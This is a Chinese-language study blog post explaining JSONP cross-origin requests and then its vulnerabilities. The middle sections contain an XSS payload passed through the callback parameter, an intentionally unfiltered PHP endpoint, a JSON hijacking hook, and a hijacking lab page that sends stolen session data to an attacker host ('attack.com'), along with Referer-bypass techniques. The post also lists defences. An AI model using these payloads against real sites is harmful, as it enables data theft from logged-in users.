jsonp学习

0x01 jsonp

为何使用

JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。

情形举例

假设 a.com下存在data.json文件

1
{ username: "name", password: "secret" }

而下面的html文件用于发起Ajax请求获取data.json的内容并记录日志:

1
2
3
4
5
6
7
8
9
10
<script src='./jquery.js'></script>
<script >
$.ajax({
url: 'http://a.com/data.json',
type:"get",
dataType: "json",
success: function (data) {
console.log(data);}
})
</script>

如果该HTML文件处于a.comdata.json同域时,访问该HTML文件能够正常获取json文件的内容。

但是如果该HTML文件放置在b.com下,即和data.json文件不同域,访问HTML文件时,浏览器会报错,因为,ajax不能发起跨域请求。

但是,为了方便程序间数据的调用,就搞了几种跨域的方法,其中包括jsonp

简单来说,就是利用script标签的src属性能够发起跨域请求的原理来实现的。

将HTML修改为

1
2
3
4
5
6
7
8
<body>
<script src='./jquery.js'></script>
<script>
var s = document.createElement('script');
s.src = 'http://a.com/data.json';
document.body.appendChild(s);
</script>
</body>

此时,再次访问就会发现,可以发起跨域请求了,但是,会看到浏览器报错,因为data.json中的内容不符合javascript的代码规范

重新定义json文件的内容,让其更符合jsonp规范

1
callback({ username: "name", password: "secret" })

然后我们在HTML文件中添加callback函数的定义即可:

1
2
3
4
5
6
7
8
9
10
11
<body>
<script src='./jquery.js'></script>
<script type="text/javascript">
function callback(json) {
console.log(json);
}
var s = document.createElement('script');
s.src = 'http://a.com/data.json';
document.body.appendChild(s);
</script>
</body>

此时,最基本的jsonp功能就基本实现了,我们的web站点的HTML文件能够正常的获取目标外域的json数据。

==至此,我们就清楚了:JSONP就是跨域技术的一种,用来方便Web站点突破SOP的限制从外域端点获取数据==

json与jsonp的区别

  • JSON(JavaScript Object Notation),即JavaScript对象表示法。
  • JSONP(JSON with Padding)即填充式的JSON,通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。它是基于JSON 格式的为解决跨域请求资源而产生的解决方案,基本原理是利用HTML里script元素标签,远程调用JSON文件来实现数据传递。

JSONP常见的基本语法是:callback({"name":"h0ld1rs",msg:"success"})

常见的例子包括 函数调用(如callback({“a”:”b”}))或变量赋值(var a={JSON data})。

实现流程

借鉴菜鸟教程

原生样式

jsonp.php,作为jsonp端点,动态生成JSONP格式数据,文件放置在第三方服务器中

1
2
3
4
5
6
7
8
9
<?php
header('Content-type: application/json');
//获取回调函数名
$jsoncallback = htmlspecialchars($_REQUEST ['callback']);
//json数据
$json_data = '["test","https://www.test.com"]';
//输出jsonp格式的数据
echo $jsoncallback . "(" . $json_data . ")";
?>

jsonp.html,先在script标签中定义,再通过另一个script标签的src属性来实现跨域访问目标JSONP端点获取根据传参动态生成的JSONP数据,文件放置于本地服务器中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP Test</title>
</head>
<body>
<div id="here"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('here').innerHTML = html;
}
</script>
<script type="text/javascript" src="http://192.168.68.130/jsonp.php?callback=callbackFunction"></script>
</body>
</html>

Jquery的三种样式

$.getJSON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP Test</title>
<script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="here"></div>
<script>
$.getJSON("http://192.168.68.130/jsonp.php?callback=?", function(data) {

var html = '<ul>';
for(var i = 0; i < data.length; i++)
{
html += '<li>' + data[i] + '</li>';
}
html += '</ul>';

$('#here').html(html);
});
</script>
</body>
</html>

$.ajax

1
<!DOCTYPE html><html><head>    <meta charset="utf-8">    <title>JSONP Test</title>    <script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>    </head><body><div id="here"></div><script>$(function(){  	// 使用ajax来调用jsonp  	$.ajax({  		type: "get", //jsonp默认为get请求,即使写post也会转换成get方式  		async: false, // jsonp默认为false,即使写true也会转换成false  		url: "http://192.168.68.130/jsonp.php", // 服务端地址  		// data: {"code" : "CA1405"}, // 入参  		dataType: "jsonp", // jsonp调用固定写法  		jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分  		// jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分  		success: function(data){ // 调用成功之后的方法  			var html = '<ul>';			for(var i = 0; i < data.length; i++)			{			    html += '<li>' + data[i] + '</li>';			}			html += '</ul>';			$('#here').html(html); 		},  		error: function(){ // 调用失败之后的方法  		    alert('error');  }  	});  }); </script></body></html>

$.get

1
<!DOCTYPE html><html><head>    <meta charset="utf-8">    <title>JSONP Test</title>    <script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>    </head><body><div id="here"></div><script>$.get('http://192.168.68.130/jsonp.php?callback=?', function (data) { var html = '<ul>';for(var i = 0; i < data.length; i++){html += '<li>' + data[i] + '</li>';}html += '</ul>';$('#here').html(html);  }, 'jsonp');  </script></body></html>

0X02 JSONP跨域漏洞

JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。

callback导致的自定义xss

通过上面的了解,我们知道了在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来

如果JSONP端点对于用于传入的函数名参数callback处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。

未设置Content-Type且未过滤

我们先看下默认情况下未设置Content-Type且未对callback参数进行过滤的场景,这种情形是最基础也是最常见的,网上大多数的JSONP引起的XSS都是这种场景的。

JSONP端点的代码如下,data.php:

1
<?phpif(isset($_GET['callback'])){	$callback = $_GET['callback'];	print $callback.'({"username" : "h0ld1rs", "password" : "thisispassword"});';} else {	echo 'No callback param.';}?>

这时,正常,我们会在页面返回jsonp数据

当输入XSS payloadcallback=1<script>alert("hacked by Wum1ng")</script>时,会弹框,且可以看到响应报文在未设置Content-Type情况下其值为text/html:

对Content-Type设置探讨

application/json

JSON文本的MIME媒体类型是application/json,默认编码为UTF-8。同时这也是建议的JSONP端点设置的Content-Type值,用于防御XSS。

我们直接在前面data.php中添加设置Header字段的代码即可:

1
<?phpheader('Content-type: application/json');if(isset($_GET['callback'])){	$callback = $_GET['callback'];	print $callback.'({"username" : "h0ld1rs", "password" : "thisispassword"});';} else {	echo 'No callback param.';}?>

此时无论正常访问还是注入XSS payload,页面都不会显示内容出来:

但我们在浏览器查看原始数据的时候是有JSONP数据返回的,但就是不会在页面中解析该内容:

这种情形,在哪个浏览器尝试都不会弹框,因为此时浏览器不再将响应返回内容当成HTML文档来解析了,而是将其视为JSON数据,但由于该数据是JSONP格式的而不是JSON格式的,当浏览器尝试解析JSON数据时会报错。然而这一切如果只是在几个文件或接口之间JSONP数据的调用,则是不会有问题的,因为它不需要浏览器显示出来而只是取其中的数据而已。

text/json

text/json是application/json正式注册之前,JSON的实验版MIME类型。

将data.php中对应的字段值改为text/json,再访问,可以看到页面原封不动地返回数据,但浏览器不会解析其中的内容,不会弹框:

1
<?phpheader('Content-type: text/json');if(isset($_GET['callback'])){	$callback = $_GET['callback'];	print $callback.'({"username" : "h0ld1rs", "password" : "thisispassword"});';} else {	echo 'No callback param.';}?>

这种情形处理会将响应内容显示在页面上,但浏览器同样不会将该内容当成HTML文档来解析,同时也没有去按JSON格式解析内容,因此没有报错

application/javascript与text/javascript

其实,JSONP格式的数据就是JS数据,其返回的内容就是传入参数的JS函数的调用。

application/javascript是JavaScript的正式注册的MIME媒体类型。

因此,可能会有些程序员在设置Content-Type时,会将其设置为application/javascript,将响应的JSONP内容正确地设置为JS类型。

我们修改data.php中对应的Content-Type值为application/javascript再看看,在Chrome和Firefox下确实没有弹框:

但是换到非最新版的IE就会弹了,==本地IE更新到最新的只是提示是否下载该文件而已。==

另外,text/javascript的效果是一样的,其是application/javascript的测试版。

X-Content-Type-Options

如果在响应报文中X-Content-Type-Options字段被设置为nosniff,Content-Type必须设置为JavaScript(application/javascript或text/javascript)才能在浏览器中运行。

这是因为在响应中包含回调产生的问题,这时响应不再解析JSON而是解析JS。

JSONP劫持

JSONP劫持其实和CSRF的攻击是类似的,只不过CSRF是提交表单请求,而JSONP劫持是将请求JSONP端点获取到的JSONP数据发往攻击者服务器中、实现获取JSONP敏感信息。

因此,JSONP劫持的前提和CSRF是一样的,当服务端没有校验请求来源,如未严格校验Referer或未存在token机制等,都会导致JSONP劫持的产生。

我们经常会听到JSON劫持和JSONP劫持,两者有啥区别,下面简单说下。
==简单地说,JSONP劫持属于JSON劫持的一种==

json劫持

JSON劫持即JSON Hijacking,攻击过程类似CSRF,区别在于CSRF只管发送表单请求,但是JSON劫持则是获取JSON格式的敏感数据。

通常,有些Web应用会把一些敏感数据以JSON形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似CSRF的手段,向目标服务器发送请求,以获得敏感数据。

当JSON数据响应给网站时,浏览器立即会调用数组或者对象的构造函数。正是利用这一点,把构造方法替换成恶意代码,在构造方法中添加将JSON数据发送给第三方即攻击者的代码。

原理

比如目标站点存在可直接访问JSON数据,其可通过GET请求如www.good.com/user/mail.json来进行访问,同时这个请求没有对用户的身份进行严格的认证,那么当用户访问一个恶意站点的时候,恶意站点同样包含获取www.good.com/user/mail.json的GET请求,再通过JSON劫持的方式就可以获取到用户的敏感JSON数据,然后发送到恶意的站点。

img

关键的步骤是第4步和第7步。当用户访问恶意站点之后,从正常站点将JSON数据下载下来之后,如何发送到恶意站点上去。

这里,我们的恶意页面仅仅是通过script标签的src属性进行导入:

1
<script src="www.good.com/data.json"></script>

新建data.json文件如下:

1
{	"fname":"h0ld1rs",	"lname":"yanmie",	"phone":"666666",	"email":"Wum1ng@163.com"}

当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,就会导致请求目标敏感JSON文件。

JSON数据从服务器端到达浏览器之后,会被浏览器解析为JavaScript中的Object的实例。在这种情况下,只要重写Object类的set方法,就可以获取到想要的数据,这就是JSON劫持的实现,以下就是攻击代码:

1
<script type="text/javascript">Object.defineProperty(Object.prototype,"email",{    set:function(obj) {        // send data to www.bad.com        senddata2badsute(obj)    }});</script><script type="text/javascript" src="www.good.com/data.json"/>

我们为Object类的email属性设置一个Hook函数。在JavaScript中所有的类都是继承至Object类,所以defineProperty()这个方法为所有的对象的email属性都增加了一个Hook函数。当有对象设置email属性的时候,就会运行上面这段代码。所以当浏览器获取到了json数据,要将json数据转化为JavaScript对象的时候,由于json数据中存在email属性的设置,此时就会触发Hook函数,而这个函数就会将数据传送到攻击者。这个过程就完成了json数据的劫持了。

PS:目前网络上关于这方面的资料大部分都是2012年之前的,此时尝试进行重新的时候,发现已经无法实现了。说明浏览器目前已经修复了这个漏洞。关于hook对象的属性设置目前的实现方法与之前的方法也相同了。

我们本地试下就知道了,当我们通过.属性的方式赋值时是会弹框的:

1
<script type="text/javascript">Object.defineProperty(Object.prototype,"Id",{    set:function(obj) {        alert(obj);    }});</script><script>var a = new Object();a.Id = 666;</script>

但是如果我们是直接声明并且赋值给一个对象,这个时候就不会触发这个事件:

1
<script type="text/javascript">Object.defineProperty(Object.prototype,"Id",{    set:function(obj) {        alert(obj);    }});</script><script>var b={"Id":123};</script>

(,,因为没反应,所以就不截图了)

而由目标JSON端点返回的数据都是{‘a’:’b’}的形式,==即我们恶意页面接收到JSON数据时在script标签是通过直接声明并且赋值的形式来赋值给对象的,从而也不会导致弹框。换句话说,就是现在的浏览器已经对这种JSON劫持漏洞进行了防御,我们没有办法通过Hook JS函数来实现JSON劫持了。==

总结

当用户在已登录目标站点并保持着Cookie有效的情况下,被诱使访问了我们的恶意页面,而恶意页面是向目标JSON文件发起请求并获取响应;

因为script标签会自动解析请求回来的JSON数据并生成对应的JS对象,此时我们只需要再通过Object.prototype.__defineSetter__这个函数来进行Hook,就能实现将获取到的JSON数据往外发送给攻击者,从而成功导致JSON劫持;

但是该函数在当前的新版本chrome和firefox中都已经失效了,浏览器早已对此JSON劫持漏洞进行了修补

JSONP劫持

前面JSON劫持的通用方法其实已经早已被浏览器防御住了,但由于JSONP的出现,导致JSON劫持多了一种JSONP的形式,这是因为JSONP数据其实就是往JS函数中传参进行调用,这就导致了攻击者在恶意页面编写恶意的JS函数,通过JSONP的调用来执行该恶意JS函数、将敏感JSONP数据发往攻击者服务器中。

Demo0

这里我们模拟一个登录站点,登录后可与JSONP端点交互获取用户信息;而攻击者则是在自己服务器放置恶意HTML文件来尝试劫持用户JSONP数据。

main.php,放置于目标站点,用于用户登录以及与JSONP端点交互获取用户信息:

1
<?phperror_reporting(0);session_start();$name = $_GET['name'];$pwd = $_GET['pwd'];if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){	$_SESSION['name'] = $name;}if (isset($_GET['logout'])) {	if ($_GET['logout'] === '1') {		unset($_SESSION['name']);	}}echo '<a href="http://192.168.68.130/info.php?callback=jsonp">用户信息</a><br>';echo '<a href="http://192.168.68.130/main.php?logout=1">退出登录</a><br data-tomark-pass>';if(!$_SESSION['name']){	echo '<html>	<head>		<title>登录</title>		<meta charset="utf-8">	</head>	<body>		<form action="main.php" method="get">			用户名:<input type="text" name="name">			密码:<input type="password" name="pwd">			<input type="submit" name="submit" value="login">		</form>	</body>	</html>';}else{	echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";}?>

info.php,放置于目标服务器中,JSONP端点,用于提供指定用户的信息,注意这里设置了Content-Type为application/json,防御了JSONP XSS漏洞:

1
<?phpheader('Content-type: application/json');error_reporting(0);session_start();$callback = $_GET['callback'];if($_SESSION['name'] === 'admin'){        echo $callback."({'id':1,'name':'admin'})";} elseif($_SESSION['name'] === 'guest') {        echo $callback."({'id':2,'name':'guest'})";} else {        echo $callback."获取个人信息失败";}?>

hacking.html,放置在攻击者服务器中,用于诱使受害者访问,以窃取目标站点JSONP端点的敏感信息并发往攻击者服务器中:

1
<html><head>	<title>lol</title>	<meta charset="utf-8"></head><script type="text/javascript" src="./jquery.js"></script><script>	function jsonp_hack(v){		alert("JSONP hacking");		var h = '';		for(var key in v){			var a = '';			a = key + ' : ' + v[key] + ' ,';			h += a;		}		alert(h);		$.get('http://attack.com/index.html?value='+h);	}</script><script src="http://192.168.68.130/info.php?callback=jsonp_hack"></script><body>	<h1>Welcome</h1></body></html>

攻击者还是可以收到

这是发送方的

绕过
  • Referer绕过

    有时候程序对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。

    • 实现空refer有三种方法
    • 使用iframe标签+javascript伪协议
    • 从HTTPS向HTTP发起请求
    • 使用meta标签
  • 使用iframe标签+javascript伪协议

    原理就是在恶意HTML中,给iframe标签的src属性赋值为javascript://伪协议内容,其中具体内容为和之前一样的定义两个script标签、一个定义callback函数具体操作、另一个则是通过script标签的src属性向目标JSONP端点发起跨域请求。

0x03防御

  • 若可行,则使用CORS替换JSONP实现跨域功能;
  • 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等;
  • 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
  • 严格过滤 callback 函数名及JSON里数据的输出;
  • 严格限制对JSONP输出callback函数名的长度(如防御Flash输出的方法)

0x04 实际应用场景

这篇文章介绍了JSON Hijacking钓鱼

https://www.freebuf.com/articles/web/194698.html

所以,jsonp需要验证refer,我们平时挖洞的时候,只要满足这4点,(其实xray就可以挖了)

对于xray扫出来,可以自己再验证一下,或者自己手工挖掘。

0x04 参考文章

https://www.mi1k7ea.com/2019/08/20/JSONP%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#JSON%E5%8A%AB%E6%8C%81

https://www.freebuf.com/articles/web/194698.html

《推开xray之门》